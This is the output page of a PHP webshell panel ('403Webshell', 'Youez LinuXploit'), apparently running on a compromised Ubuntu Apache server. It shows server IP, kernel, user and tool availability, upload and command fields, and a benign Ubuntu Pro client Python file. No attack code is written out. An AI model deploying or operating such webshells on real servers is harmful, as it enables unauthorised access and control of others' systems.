403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/timer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/timer/update_contract_info.py
import logging

from uaclient import contract, util
from uaclient.api.u.pro.status.is_attached.v1 import _is_attached
from uaclient.config import UAConfig
from uaclient.files import notices
from uaclient.files.notices import Notice

LOG = logging.getLogger(util.replace_top_level_logger_name(__name__))


def update_contract_info(cfg: UAConfig) -> bool:
    if _is_attached(cfg).is_attached:
        try:
            if contract.is_contract_changed(cfg):
                notices.add(
                    Notice.CONTRACT_REFRESH_WARNING,
                )
            else:
                notices.remove(
                    Notice.CONTRACT_REFRESH_WARNING,
                )
        except Exception as e:
            LOG.warning(
                "Failed to check for change in machine contract. Reason: %s",
                str(e),
                exc_info=e,
            )
            return False
    return True

Youez - 2016 - github.com/yon3zu
LinuXploit